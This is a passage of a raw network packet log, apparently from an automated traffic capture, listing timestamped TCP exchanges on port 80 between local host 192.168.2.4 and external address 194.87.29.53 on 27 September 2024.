Sep 27, 2024 18:29:07.195653915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195663929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195669889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195671082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195702076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195715904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195877075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195918083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196027040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196038008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196053982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196063995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196070910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196074963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196085930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196085930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196099043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196105003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196109056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196119070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196130991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196134090 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196141958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196152925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196152925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196165085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196176052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196176052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196192026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196194887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196204901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196233034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.196535110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196547031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.196587086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197046041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197056055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197063923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197093010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197112083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197165966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197175980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197185040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197194099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197208881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197221041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197247982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197308064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197323084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197331905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197340965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197350025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197350979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197360039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197369099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197371006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197379112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197396040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197396994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197422028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197432995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197609901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197618961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197628021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197650909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197663069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197766066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197776079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197783947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197793007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197802067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197809935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197813988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197824001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197834015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197834969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197844028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197854042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197864056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.197868109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197876930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197899103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.197921991 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198266029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198276997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198285103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198295116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198303938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198312044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198313951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198327065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198335886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198338032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198359966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198371887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198559999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198570013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198577881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198586941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198607922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198621988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198683977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198694944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198704004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198713064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198721886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198729038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198733091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198743105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198753119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198757887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198764086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198774099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198782921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.198785067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198806047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.198820114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199122906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199132919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199141026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199150085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199160099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199165106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199170113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199204922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199223995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199230909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199234962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199245930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199255943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199263096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199265957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199271917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199276924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199286938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199295998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199296951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.199321032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.199337006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282394886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282424927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282434940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282519102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282527924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282536983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282546043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282613039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282617092 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282617092 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282617092 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282655954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282699108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282710075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282718897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282728910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282738924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282742977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282757044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282783031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282829046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282874107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.282928944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282939911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282948971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282958984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282968998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.282980919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283004045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283058882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283104897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283186913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283198118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283206940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283216000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283226013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283237934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283241034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283252954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283261061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283263922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283271074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283272982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283303976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283324003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283695936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283715010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283725977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283737898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283749104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283752918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283761024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283772945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283780098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283785105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283795118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283797026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283811092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283819914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283826113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.283849001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.283873081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.324189901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.329061985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514359951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514467001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514482021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514482975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.514497042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514504910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514507055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.514511108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514516115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514525890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514537096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.514566898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.514585018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514595032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514604092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.514609098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.514636040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.514656067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515206099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515214920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515224934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515264034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515297890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515305996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515315056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515325069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515336037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515343904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515362978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515398979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515456915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515466928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515475988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515501022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515527010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515579939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515588999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515598059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515624046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515636921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515724897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515738010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515747070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515758038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515770912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515778065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515780926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515791893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.515799999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515820980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.515836000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.516496897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516532898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516541958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516546011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.516580105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.516587973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516597986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516607046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516617060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516638994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.516669989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.516784906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516796112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516805887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516813993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.516835928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.516849041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.517246962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517293930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.517298937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517308950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517347097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.517385006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517394066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517404079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517412901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517433882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.517447948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.517767906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517777920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517786980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.517821074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.517832994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.518937111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.518954992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.518964052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.518989086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519006014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519011021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519042015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519046068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519083023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519124031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519134998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519144058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519172907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519196987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519262075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519272089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519282103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519295931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519306898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519311905 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519316912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519330025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519345999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519364119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519553900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519572020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519581079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519592047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519603014 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519629955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519655943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519666910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519675970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519706011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519717932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519746065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519757032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519766092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519776106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.519789934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.519819021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.520597935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520643950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520653009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520678043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.520697117 CEST	60865	80	192.168.2.4	194.87.29.53
